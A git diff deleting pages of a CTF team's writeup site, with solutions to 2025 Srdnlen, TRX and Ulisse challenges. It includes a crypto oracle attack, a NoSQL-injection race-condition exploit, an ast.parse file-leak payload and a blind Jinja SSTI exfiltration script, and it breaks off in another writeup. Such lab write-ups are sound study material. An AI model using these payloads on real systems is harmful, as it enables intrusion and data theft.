-    for i in range(len(blocks) - 1):
-        tmp = AES.new(key, AES.MODE_ECB).encrypt(blocks[i + 1])
-        b += [bytes(j ^ k for j, k in zip(tmp, blocks[i]))]
-
-    c = [blocks[0]]
-    for i in range(len(blocks) - 1):
-        c += [AES.new(key, AES.MODE_ECB).decrypt(b[i + 1])]
-
-    ct = [blocks[0]]
-    for i in range(len(blocks) - 1):
-        tmp = AES.new(key, AES.MODE_ECB).encrypt(c[i + 1])
-        ct += [bytes(j ^ k for j, k in zip(tmp, c[i]))]
-
-    return b"".join(ct)
-
-
-KEY = os.urandom(32)
-
-print("Let's try to make it confusing")
-flag = encrypt(FLAG, KEY).hex()
-print(f"|\n|    flag = {flag}")
-
-while True:
-    print("|\n|  ~ Want to encrypt something?")
-    msg = bytes.fromhex(input("|\n|    > (hex) "))
-
-    plaintext = pad(msg + FLAG, 16)
-    ciphertext = encrypt(plaintext, KEY)
-
-    print("|\n|  ~ Here is your encryption:")
-    print(f"|\n|   {ciphertext.hex()}")
-
-

The challenge acts as an encryption oracle in 3 steps:

-
    -
  1. $\quad b_0 := R \\\quad b_i := E(m_i) \oplus m_{i-1} \quad i \ge 1$
  2. -
  3. $\quad c_0 := R \\\quad c_i := D(b_i) \quad i \ge 1$
  4. -
  5. $\quad ct_0 := R \\\quad ct_i := E(c_i) \oplus c_{i-1} \quad i \ge 1$
  6. -
-

Where $m$ is our input message, padded, split into blocks and prefixed with the random block $R$, meanwhile $D$ and $E$ are AES decryption and encryption. -Notice how $ct_i = b_i \oplus c_{i-1}$ since $E(c_i) = E(D(b_i)) = b_i$.

- -

Solution

- -

Encryption utlity function:

-
# encrypt and return the nth block
-def encrypt(r, msg: bytes, block: int = -1):
-    r.sendlineafter(b'x) ', msg.hex().encode())
-    r.recvuntil(b'n:\n|\n|   ')
-    ct = bytes.fromhex(r.recvline().rstrip().decode())
-    if 0 <= block < len(ct) // 16:
-        return ct[16*block:16*(block + 1)]
-    return ct
-
-

Since the flag is appended to the end of our input, we can recover the first block with a simple chosen-prefix ECB attack, which I’m doing using my library cryptils. -With dec0 we can calculate a decryption of a 16 long bytestring of zeros, which I’ll use to recover the rest of the flag:

-
def dec0(r):
-    msg1 = os.urandom(16)
-    enc_msg1 = encrypt(r, msg1, 1)
-    msg2 = os.urandom(16)
-    enc_msg2 = encrypt(r, msg2, 1)
-    val = xor(enc_msg2, msg1)
-
-    ct3 = encrypt(r, enc_msg1 + msg1 + msg2, 3)
-
-    return xor(ct3, val)
-
-

Also notice how the second block the oracle gives us is a plain encryption of the first block of input.

-

Let’s call the output of dec0 simply $D(0)$ and set $F_i$ to be the $i$th block of the flag, with $F_0$ being the random block at the start, we can write each block of the flag’s ciphertext we received at the start as: -$C_i := E(F_i) \oplus F_{i-1} \oplus D(E(F_{i-1}) \oplus F_{i-2})$

-

Let’s take a look at the fourth block after asking the oracle to encrypt $\ F_0 \mid F_1 \mid D(0)$: -$ct_3 = b_3 \oplus D(b_2) =E(D(0)) \oplus F_1 \oplus D(E(F_1) \oplus F_0) = F_1 \oplus D(E(F_1) \oplus F_0)$ -$T := ct_3 \oplus C_2 = F_1 \oplus D(E(F_1) \oplus F_0) \oplus E(F_2) \oplus F_1 \oplus D(E(F_1) \oplus F_0) = E(F_2)$

-

Let’s then generate a random block $V$ and ask for the encryption of $\ T \mid D(0) \mid V$: -$ct_3 = b_3 \oplus D(b_2) = E(V) \oplus D(0) \oplus D(E(D(0)) \oplus T) = E(V) \oplus D(0) \oplus D(T) = E(V) \oplus D(0) \oplus D(E(F_2)) = E(V) \oplus D(0) \oplus F_2$

-

We know both $E(V)$ and $D(0)$ and can therefore recover $F_2$. The process can then be repeated for successive blocks:

-
def main():
-    r = remote('confusion.challs.srdnlen.it', 1338) if args.REMOTE else process('./chall.py')
-
-    r.recvuntil(b' = ')
-    ct_flag = blockify(bytes.fromhex(r.recvline().rstrip().decode()))
-
-    D0 = dec0(r)
-
-    flag = chosen_prefix(lambda b: encrypt(r, b, 1), string.printable, length=16)
-    curr, prev = flag, ct_flag[0]
-
-    for i in range(2, len(ct_flag)):
-        ct3 = encrypt(r, prev + curr + D0, 3)
-        enc_next = xor(ct_flag[i], ct3)
-
-        msg = os.urandom(16)
-        enc_msg = encrypt(r, msg, 1)
-        enc = encrypt(r, enc_next + D0 + msg, 3)
-
-        prev = curr
-        curr = xor(enc, xor(enc_msg, D0))
-
-        flag += curr
-
-    print('flag:', unpad(flag, 16).decode())
-
-    r.close()
-
-
flag: srdnlen{I_h0p3_th15_Gl4ss_0f_M1rt0_w4rm3d_y0u_3n0ugh}
-
-

Author: vympel

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/srdnlen2025/index.html b/public/writeups/srdnlen2025/index.html deleted file mode 100644 index 83b32705..00000000 --- a/public/writeups/srdnlen2025/index.html +++ /dev/null @@ -1,414 +0,0 @@ - - - - - - - - - - - Srdnlen CTF 2025 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
CTF
- - -
Italy
- - -
Cybercup 2025
- - -
Team Srdnlen
- - -
- -
-

- Last edit: Mar 10, 2025 -

-
- - -
- - - -
- - - - - - -

Srdnlen CTF 2025 - - - - - - - - -

- - -

Description - - - - - - - - -

- -

Srdnlen CTF is a Jeopardy-style Capture-The-Flag competition hosted by the members of Srdnlen, an italian team based in Sardinia.

-

This CTF welcomes both beginners and advanced players. The challenges topics include reverse engineering, binary exploitation, web security, cryptography, forensics.

-

For the best 10 teams, in-person finals will be organized in Sardinia (date to be decided)

- - -

Performance Summary - - - - - - - - -

- -
    -
  • CTFs: n/M
  • -
  • Total points: 270.0
  • -
  • Position: 98/848
  • -
  • Rating points: 2.145
  • -
- -

Writeups - - - - - - - - -

- - -

Web - - - - - - - - -

- - - -

Crypto - - - - - - - - -

- - - -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/srdnlen2025/speed/index.html b/public/writeups/srdnlen2025/speed/index.html deleted file mode 100644 index 43fac9cb..00000000 --- a/public/writeups/srdnlen2025/speed/index.html +++ /dev/null @@ -1,506 +0,0 @@ - - - - - - - - - - - Speed - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Web
- - -
javascript
- - -
NoSQLI
- - -
Race Condition
- - -
Octaviusss
- - -
- -
-

- Last edit: Mar 11, 2025 -

-
- - -
- - - -
- - - - - -

Speed

-

Description: Welcome to Radiator Springs’ finest store, where every car enthusiast’s dream comes true! But remember, in the world of racing, precision matters—so tread carefully as you navigate this high-octane experience. Ka-chow!

- -

Introduction

- -

For the second web challenge of srdnlen2025 we have a very interesting but not particularly complicated challenge.

-

The challenge is presented as a simple shop, so the goal is to buy the flag, which has a very high price. and we don’t have enough money to buy the flag, which is particularly standard.

-

So we jump straight into the code and try to understand how it works.

- -

Source

- -

The application is a simple javascript application using express.js and express-handlebars for page rendering and a nosql database to manage the data (MongoDB with mongoose).

-

screen

-

As soon as we log in, we notice that the only way to get money is with these codes, which are randomly generated once in the code and cannot be reused.

-
// filename: app.js
-// Generate a random discount code
-  const generateDiscountCode = () => {
-      const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
-      let discountCode = '';
-      for (let i = 0; i < 12; i++) {
-          discountCode += characters.charAt(Math.floor(Math.random() * characters.length));
-      }
-      return discountCode;
-  };
-
-    const createDiscountCodes = async () => {
-        const discountCodes = [
-            { discountCode: generateDiscountCode(), value: 20 }
-        ];
-
-        for (const code of discountCodes) {
-            const existingCode = await DiscountCodes.findOne({ discountCode: code.discountCode });
-            if (!existingCode) {
-                await DiscountCodes.create(code);
-                console.log(`Inserted discount code: ${code.discountCode}`);
-            } else {
-                console.log(`Discount code ${code.discountCode} already exists.`);
-            }
-        }
-    };
-
-    // Call function to insert discount codes
-    await createDiscountCodes();
-
-

As you can see, everything is normal, nothing strange, something strange we have in the routes.js in the redeem endpoint.

-

-let delay = 1.5;
-
-router.get('/redeem', isAuth, async (req, res) => {
-    try {
-        const user = await User.findById(req.user.userId);
-
-        if (!user) {
-            return res.render('error', { Authenticated: true, message: 'User not found' });
-        }
-
-        // Now handle the DiscountCode (Gift Card)
-        let { discountCode } = req.query;
-
-        if (!discountCode) {
-            return res.render('error', { Authenticated: true, message: 'Discount code is required!' });
-        }
-
-        const discount = await DiscountCodes.findOne({discountCode})
-
-        if (!discount) {
-            return res.render('error', { Authenticated: true, message: 'Invalid discount code!' });
-        }
-
-        // Check if the voucher has already been redeemed today
-        const today = new Date();
-        const lastRedemption = user.lastVoucherRedemption;
-
-        if (lastRedemption) {
-            const isSameDay = lastRedemption.getFullYear() === today.getFullYear() &&
-                              lastRedemption.getMonth() === today.getMonth() &&
-                              lastRedemption.getDate() === today.getDate();
-            if (isSameDay) {
-                return res.json({success: false, message: 'You have already redeemed your gift card today!' });
-            }
-        }
-
-        // Apply the gift card value to the user's balance
-        const { Balance } = await User.findById(req.user.userId).select('Balance');
-        user.Balance = Balance + discount.value;
-        // Introduce a slight delay to ensure proper logging of the transaction
-        // and prevent potential database write collisions in high-load scenarios.
-        new Promise(resolve => setTimeout(resolve, delay * 1000));
-        user.lastVoucherRedemption = today;
-        await user.save();
-
-        return res.json({
-            success: true,
-            message: 'Gift card redeemed successfully! New Balance: ' + user.Balance // Send success message
-        });
-
-    } catch (error) {
-        console.error('Error during gift card redemption:', error);
-        return res.render('error', { Authenticated: true, message: 'Error redeeming gift card'});
-    }
-});
-
-

The first thing that stands out is

-

-        const user = await User.findById(req.user.userId);
-
-        if (!user) {
-            return res.render('error', { Authenticated: true, message: 'User not found' });
-        }
-
-        // Now handle the DiscountCode (Gift Card)
-        let { discountCode } = req.query;
-
-        if (!discountCode) {
-            return res.render('error', { Authenticated: true, message: 'Discount code is required!' });
-        }
-
-        const discount = await DiscountCodes.findOne({discountCode})
-
-        if (!discount) {
-            return res.render('error', { Authenticated: true, message: 'Invalid discount code!' });
-        }
-
-

Where we can clearly see a very undisguised nosql injection where we just have to do discountCode = { $ne: null } to redeem the code without knowing the exact value.

-

But this only solves one of our problems, because when we check the code later we see that our code can only be used once, the code only gives 20 credits and we need 50 credits for the flag.

-

This is where the name of the challenge comes in, which gives a nice clue as to what to do next, speed == race condition.

- -

Solution

- -

In my case, I split the attack into two parts because I had problems doing the race condition in python, so I used curl and bash, but there may be a more elegant way to exploit the race condition.

-
# filename: exploit.py
-
-import random
-import string
-import threading
-import requests
-
-# BASE_URL = "http://speed.challs.srdnlen.it:8082"
-BASE_URL = "http://localhost:80"
-s = requests.Session()
-
-def string_generator(length):
-    return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
-
-def redeem_code():
-    try:
-        r = s.get(BASE_URL + "/redeem?discountCode[$ne]=null")
-        print(f"Response ({threading.current_thread().name}): {r.status_code} - {r.text}")
-    except Exception as e:
-        print(f"Error in thread {threading.current_thread().name}: {e}")
-
-def login(username, password):
-    s.post(BASE_URL + "/user-login", json={"username": username, "password": password})
-    # print(f"Login response: {r.text}")
-    return username, password
-
-def register(username, password):
-    s.post(BASE_URL + "/register-user", json={"username": username, "password": password})
-    # print(f"Register response: {r.text}")
-    return username, password
-
-def main():
-    username = string_generator(8)
-    password = string_generator(8)
-    register(username, password)
-    login(username, password)
-
-    print(s.cookies["jwt"].strip())
-    # redeem_code()
-
-
-if __name__ == "__main__":
-    main()
-
-
-
#!/bin/bash
-
-JWT="$(python3 exploit.py)"      # Read the jwt printed by exploit.py
-echo "JWT used: $JWT"
-
-for i in {1..30}; do
-  curl -s 'http://localhost:80/redeem?discountCode%5B%24ne%5D=null' \
-       -H "Cookie: jwt=${JWT}" &
-done
-
-wait
-
-
-

Once you have made a few attempts and the logs show that you have 60 credits, you can copy the jwt and use it to log in.

-

Author: akiidjk

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/trx2025/index.html b/public/writeups/trx2025/index.html deleted file mode 100644 index 1253ebd0..00000000 --- a/public/writeups/trx2025/index.html +++ /dev/null @@ -1,395 +0,0 @@ - - - - - - - - - - - TRX CTF 2025 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
CTF
- - -
Italy
- - -
Cybercup 2025
- - -
Team TRX
- - -
- -
-

- Last edit: Mar 10, 2025 -

-
- - -
- - - -
- - - - - - -

TRX CTF 2025 - - - - - - - - -

- - -

Description - - - - - - - - -

- -

TheRomanXpl0it is pleased to announce TRX CTF 2025!

-

TRX CTF will be a jeopardy style CTF and last a whole day (24-hours), from the 22nd of February 14:00 UTC, to the 23rd of February 2025 14:00 UTC.

-

The team has made a humongous effort developing interesting challenges in every classic CTF category such as Web, Pwn, Rev and Crypto!

-

We hope you’ll have fun playing the competition!

- - -

Performance Summary - - - - - - - - -

- -
    -
  • CTFs: n/M
  • -
  • Total points: 605.000
  • -
  • Position: 57/550
  • -
  • Rating points: 2.354
  • -
- -

Writeups - - - - - - - - -

- - -

Web - - - - - - - - -

- - - -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/trx2025/onlinepythoneditor/index.html b/public/writeups/trx2025/onlinepythoneditor/index.html deleted file mode 100644 index 9eb9e761..00000000 --- a/public/writeups/trx2025/onlinepythoneditor/index.html +++ /dev/null @@ -1,392 +0,0 @@ - - - - - - - - - - - Online Python Editor - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Web
- - -
Python
- - -
Bad practice
- - -
Salvatore Abello
- - -
- -
-

- Last edit: Mar 11, 2025 -

-
- - -
- - - -
- - - - - -

Online Python Editor

-

Description: If you’re tired of fast and good-looking editors, try this. Now with extra crispiness!

- -

Introduction

- -

This is the first web in the TRX2025 CTF. And it’s basically a simple online Python editor with a syntax checker.

- -

Source

- -

Go to the source code and we can immediately see two things:

-
    -
  1. -

    In a file called secret.py, which is never called, read or otherwise used.

    -
  2. -
  3. -

    The main app.py file

    -
  4. -
-
# filename: app.py
-
-import ast
-import traceback
-from flask import Flask, render_template, request
-
-app = Flask(__name__)
-
-@app.get("/")
-def home():
-    return render_template("index.html")
-
-@app.post("/check")
-def check():
-    try:
-        ast.parse(**request.json)
-        return {"status": True, "error": None}
-    except Exception:
-        return {"status": False, "error": traceback.format_exc()}
-
-if __name__ == '__main__':
-    app.run(debug=True)
-
-
-

What happens is that the template is rendered and every N seconds the check method is called, which parses the Python code sent by the client and returns the traceback, which is very useful for us later.

- -

Solution

- -

Where’s the vuln? Well, it’s quite simple here: ast.parse(**request.json), The call to ast.parse is vulnerable to Python code injection, in fact we can pass arbitrary parameters to the function (because of the **request.json), and if we look at the documentation for ast.parse we know that we can pass a filename to the function, and ast.parse uses something like compile(source, filename, mode, PyCF_ONLY_AST), which allows us to leak sensitive information causing syntax errors in specific lines of code.

-

So finally we get

-
# filename: exploit.py
-
-#!/usr/bin/python3
-import requests
-
-BASE_URL = "http://python.ctf.theromanxpl0.it:7001/"
-
-def check():
-    r = requests.post(BASE_URL + "/check", json={"source": "\n\n\n\n\n;","filename":"./secret.py", })
-    if 'error' != None:
-        print(r.json()['error'])
-    else:
-        print(r.json())
-
-def main():
-    check()
-
-
-if __name__ == "__main__":
-	main()
-
-
-# goodluck by @akiidjk
-
-
-
$ flag: TRX{4ll_y0u_h4v3_t0_d0_1s_l00k_4t_th3_s0urc3_c0d3}
-
-

Author: akiidjk

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/ulisse2025/index.html b/public/writeups/ulisse2025/index.html deleted file mode 100644 index 98fac07c..00000000 --- a/public/writeups/ulisse2025/index.html +++ /dev/null @@ -1,329 +0,0 @@ - - - - - - - - - - - Ulisse CTF 2025 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
CTF
- - -
Team Ulisse
- - -
Cybercup 2025
- - -
Italy
- - -
- -
-

- Last edit: Apr 8, 2025 -

-
- - -
- - - -
- - - - - - -

Ulisse CTF 2025

- - -

Description

- -

Ulisse CTF is the first edition of the annual competition hosted by the Ulisse CTF Team at the University of Bologna. -Open to participants of all skill levels, it aims to provide a learning experience for everyone!

- - -

Performance Summary

- -
    -
  • CTFs: 12/29
  • -
  • Total points: 1923.000
  • -
  • Position: 11/169
  • -
  • Rating points: 8.533
  • -
- -

Writeups

- - -

Web

- - - -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/ulisse2025/stackbank1/index.html b/public/writeups/ulisse2025/stackbank1/index.html deleted file mode 100644 index 3f66462a..00000000 --- a/public/writeups/ulisse2025/stackbank1/index.html +++ /dev/null @@ -1,358 +0,0 @@ - - - - - - - - - - - StackBank 1 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Web
- - -
JavaScript
- - -
Prototype pollution
- - -
388 points
- - -
10 solves
- - -
AlBovo
- - -
- -
-

- Last edit: Apr 8, 2025 -

-
- - -
- - - -
- - - - - -

⚠️ WORKING IN PROGRESS

-

StackBank 1

-

Description: This bank🏦 will let you legally launder your dirty money, so you can live the high life in Dubai 🤑.

-

Give it a try — for now, it only lets you send and receive money for your oh-so-reputable Ponzi scheme💸.

- -

Introduction

- -

- -

Source

- -

-
# filename: file.py
-
-
-
-
-

- -

Solution

- -

-
# filename: file.py
-
-
-
-
-

Author: akiidjk

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/ulisse2025/telemetry/index.html b/public/writeups/ulisse2025/telemetry/index.html deleted file mode 100644 index cbd718e0..00000000 --- a/public/writeups/ulisse2025/telemetry/index.html +++ /dev/null @@ -1,498 +0,0 @@ - - - - - - - - - - - Telemetry - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
web
- - -
python
- - -
Blind SSTI
- - -
280 points
- - -
14 solves
- - -
AlBovo
- - -
- -
-

- Last edit: Apr 8, 2025 -

-
- - -
- - - -
- - - - - -

Telemetry

-

Description: Elia has just developed a brand-new website to analyze logs at runtime 🧻. Confident in his security skills, he bet his entire house that you won’t find the hidden flag… Will you prove him wrong? 🏠🔍

- -

Introduction

- -

Fourth round of the Cybercup 2025 ulisseCTF I want to show the writeup of the first web, a really interesting challenge.

- -

Source

- -

The application is a simple Flask app with 0 css (we almost like it).

-

We have 3 main pages:

-
    -
  • index.html -alt text
  • -
  • check.html -alt text
  • -
  • upload.html -alt text
  • -
-

The thing that stands out is the way the logs are stored, in fact we see that a folder and a file are created for each individual user where the logs are stored, the challenge also refers to the logs so there is likely a related vulnerability, and finally it gives us the ability to run one of the rendered templates that we have in the templates folder, which NORMALLY are just the three html files listed above.

-
# filename: app.py
-
-@app.route('/login', methods=['POST'])
-def login():
-    username = request.form['user']
-    log_file = request.form['log']
-
-    if len(log_file) != 32:
-        flash('Invalid log filename length', 'danger')
-        return redirect('/')
-
-    user_id = str(uuid.UUID(log_file))
-    log_file = user_id + '.txt'
-
-    if os.path.exists(os.path.join('logs', username, log_file)):
-        flash('User/Log already exists', 'danger')
-        return redirect('/')
-
-    session['user'] = (user_id, username)
-    session['files'] = MAX_FILES
-
-    os.makedirs(os.path.join('logs', username), exist_ok=True)
-    with open(os.path.join('logs', username, log_file), 'w') as f:
-        f.write(f'[{time.time()}] - Log file: {user_id}.txt\n')
-        f.write(f'[{time.time()}] - User logged in\n')
-
-    return redirect('/upload')
-
-

To begin the analysis, let us first understand how the login takes place…

-

We see that the username and the log_file name are taken from the form, the length of the log_file is checked, which must be 32 (number of UUIDv4 characters excluding the “-”), the log file is created, everything is entered into the session, and finally the logs are written to the file The things that stand out are 2 - The username is not sanitized - The username is used in the creation of the path, which is created insecurely

-
# filename: app.py
-@app.route('/check', methods=['GET', 'POST'])
-def check():
-    if request.method == 'GET':
-        return render_template('check.html')
-
-    template = secure_filename(request.form['template'])
-    if not os.path.exists(os.path.join('templates', template)):
-        flash('Template not found', 'danger')
-        return redirect('/check')
-    try:
-        render_template(template)
-        flash('Template rendered successfully', 'success')
-    except:
-        flash('Error rendering template', 'danger')
-    return redirect('/check')
-
-@app.errorhandler(404)
-def page_not_found(e):
-    if user := session.get('user', None):
-        if not os.path.exists(os.path.join('logs', user[1], user[0] + '.txt')):
-            session.clear()
-            return 'Page not found', 404
-        with open(os.path.join('logs', user[1], user[0] + '.txt'), 'a') as f:
-            f.write(f'[{time.time()}] - Error at page: {unquote(request.url)}\n')
-        return redirect('/')
-    return 'Page not found', 404
-
-

Now let us look at two more basic elements, the check function and this 404 handler The check function has nothing wrong or broken, so we don’t care so much, the only interesting thing we see is that the template that is rendered is not returned, so we won’t be able to see the output easily Instead an interesting thing we see is this 404 handler that logs the file when it is called and also writes the path we entered and that triggered it.

- -

Solution

- -

Well, the solution is really interesting because the main vulnerability is that we can give the user any name and that name is not sanitized THEN… we can give our user the name ../templates.

-

It may seem trivial, but this allows us to render our log file as a template… Next problem: how do we write arbitrary templates to the log file?

-

VERY SIMPLY via the 404 handler, which allows us to write whatever we want in the /endpoint that is returned in the file Well then, we just need to make a request to http://HOST/{config["FLAG"]} and get the flag, right?

-

Well no, remember that unfortunately the output is not returned when rendering the template… Well, just send the output somewhere or run a shell? Well, neither, because unfortunately there is a very robust sandbox that doesn’t allow us to do almost anything.

-
# filename: file.py
-
-class JinjaEnvironment(SandboxedEnvironment):
-    # Simply wraps jinja's sandboxed environment so that it can be used with flask
-    def __init__(self, app: Flask, **options) -> None:
-        if "loader" not in options:
-            options["loader"] = app.create_global_jinja_loader()
-        SandboxedEnvironment.__init__(self, **options)
-        self.app = app
-
-app.jinja_environment = JinjaEnvironment
-Session(app)
-
-

So how do we leak the value?

-

Well we can take inspiration from blind error based SQLi in this case and our script would look something like this

-
#filename: exploit.py
-import random
-import string
-import os
-import requests
-import uuid
-
-# BASE_URL = "http://telemetry.challs.ulisse.ovh:6969/"
-BASE_URL = "http://localhost:6969"
-
-s = requests.Session()
-
-def login(username,logfile):
-    r = s.post(BASE_URL + "/login", data={"user": username,"log": logfile})
-    if r.status_code != 200:
-        print("Login failed")
-        print("Error:", r.text)
-
-def trigger404(payload):
-    r = s.get(BASE_URL + f"/{payload}")
-    if r.status_code != 200:
-        print("Trigger failed")
-        print("Error:", r.text)
-        print("Status Code:", r.status_code)
-
-def trigger_template_render(user_id):
-    data = {"template": user_id + ".txt"}
-    r = s.post(BASE_URL + "/check", data=data)
-    if "green" in r.text:
-        return True
-    else:
-        return False
-
-def restart():
-    s.cookies.clear()
-    username = "../templates"
-    log = os.urandom(16).hex()
-    user_id = str(uuid.UUID(log))
-    login(username, log)
-    return user_id
-
-def exploit():
-    alphabet = string.digits + "!_{}" + string.ascii_letters
-    flag = ""
-    user_id = restart()
-    for index in range(len(flag),40):
-        print(f"Index: {index}")
-        for letter in alphabet:
-            payload = f"{{{{ config['FLAG'][{index}] if config['FLAG'][{index}] == '{letter}' else 1/0 }}}}"
-            trigger404(payload)
-            res = trigger_template_render(user_id)
-            if res:
-                flag += letter
-                print(f"Flag: {flag}")
-                if letter == "}":
-                    print("Flag found!")
-                    return
-                user_id = restart()
-                break
-            else:
-                user_id = restart()
-                continue
-
-    print(f"Flag: {flag}")
-
-def main():
-    exploit()
-
-if __name__ == "__main__":
-	main()
-
-
-# goodluck by @akiidjk
-
-
$ flag: UlisseCTF{n3x7_T1m3_st1ck_t0_your_l0g5!}
-
-

Author: akiidjk

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/wwfctf2025/blank-login/index.html b/public/writeups/wwfctf2025/blank-login/index.html deleted file mode 100644 index 10df018b..00000000 --- a/public/writeups/wwfctf2025/blank-login/index.html +++ /dev/null @@ -1,761 +0,0 @@ - - - - - - - - - - - Blank Login - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
web
- - -
python
- - -
Race Condition
- - -
NoSQLI
- - -
SqlAlchemy injection
- - -
499 points
- - -
17 solves
- - -
spipm
- - -
- -
-

- Last edit: Jan 1, 1 -

-
- - -
- - - -
- - - - - -

Blank Login

-

Description: Hm, I don’t remember, probably something about three databases.

- -

Introduction - - - - - - - - -

- -

This is the third web application I’ve exploited. It’s a very cool challenge, not too complex, and very fun. There’s a not-very-easy race condition to spot. In fact, I think that’s the most difficult part. So, let’s start.

-

We have a small Flask application with about 200 lines of code, so it’s not too bad. The first page is a login page without a register page.

-

The first thing to do is read the code.

- -

Source - - - - - - - - -

- -

We can start with the set up of the flask application

-
# filename: main.py
-
-# Flask setup - session store
-app = Flask(__name__)
-app.secret_key = bcrypt.hashpw(secrets.token_urlsafe(24).encode(), bcrypt.gensalt()).hex()
-app.config['SESSION_TYPE'] = 'filesystem'
-Session(app)
-
-# MongoDB setup - users
-mongo_client = MongoClient("mongodb://mongo:27017/")
-mongo_db = mongo_client["flaskdb"]
-mongo_users = mongo_db["users"]
-mongo_users.delete_many({})
-admin_user = {
-    "username": "admin",
-    "password": bcrypt.hashpw(secrets.token_urlsafe(24).encode(), bcrypt.gensalt()).hex(),
-    "email": "admin@securepractice.corp"
-}
-regular_user = {
-    "username": "user",
-    "password": bcrypt.hashpw(secrets.token_urlsafe(24).encode(), bcrypt.gensalt()).hex(),
-    "email": "user@securepractice.corp"
-}
-mongo_users.insert_many([admin_user, regular_user])
-
-# SQLite setup - audit trail
-Base = declarative_base()
-engine = create_engine("sqlite:///audit_log.db", connect_args={"check_same_thread": False})
-SessionLocal = sessionmaker(bind=engine)
-
-class SearchBase(Base):
-    __tablename__ = "search_base"
-    id = Column(Integer, primary_key=True)
-
-class AuditLog(Base):
-    __tablename__ = "audit_log"
-    id = Column(Integer, primary_key=True)
-    parent_id = Column(Integer, ForeignKey("search_base.id"))
-    username = Column(String)
-    action = Column(String)
-    timestamp = Column(Integer)
-
-
-# Other code....
-
-
-if __name__ == "__main__":
-
-    Base.metadata.create_all(bind=engine)
-
-    # MySQL setup - reset tokens
-    for _ in range(10):
-        try:
-            mysql_conn = mysql.connector.connect(
-                host="mysql", user="root", password="rootpass", database="flaskdb"
-            )
-            if mysql_conn.is_connected():
-                break
-        except Error:
-            time.sleep(3)
-    if not mysql_conn:
-        raise Exception("MySQL connection failed.")
-    # Reset token setup
-    cursor = mysql_conn.cursor(dictionary=True)
-    cursor.execute("""
-        CREATE TABLE IF NOT EXISTS reset_tokens (
-            id INT AUTO_INCREMENT PRIMARY KEY,
-            username CHAR(255),
-            token CHAR(255) DEFAULT ''
-        ) CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci;
-    """)
-    for username in ['user', 'admin']:
-        cursor.execute("DELETE FROM reset_tokens WHERE username = %s", (username,))
-        cursor.execute("INSERT INTO reset_tokens (username) VALUES (%s)", (username,))
-        cursor.execute("UPDATE reset_tokens SET token = %s WHERE username = %s", (get_random_token(), username))
-    mysql_conn.commit()
-    cursor.close()
-    mysql_conn.close()
-
-    app.run(host="0.0.0.0", port=5000, debug=False, threaded=True)
-
-

Okay, so analyzing the code, we have:

-
    -
  • Two registered a user: user and admin, with passwords that are securely and randomly generated.
  • -
  • We use three databases, each with a specific purpose. -
      -
    • MySQL: Store the token for password resets.
    • -
    • Mongo: Store users
    • -
    • SQLite3: Store the audit logs. -This is a bit strange, but okay.
    • -
    -
  • -
-

Now, let’s look at some endpoints.

-
#filename: main.py
-
-# Main login page
-@app.route("/login", methods=["GET", "POST"])
-def login():
-    error = None
-    if request.method == "POST":
-        username = request.form.get("username", "").strip()
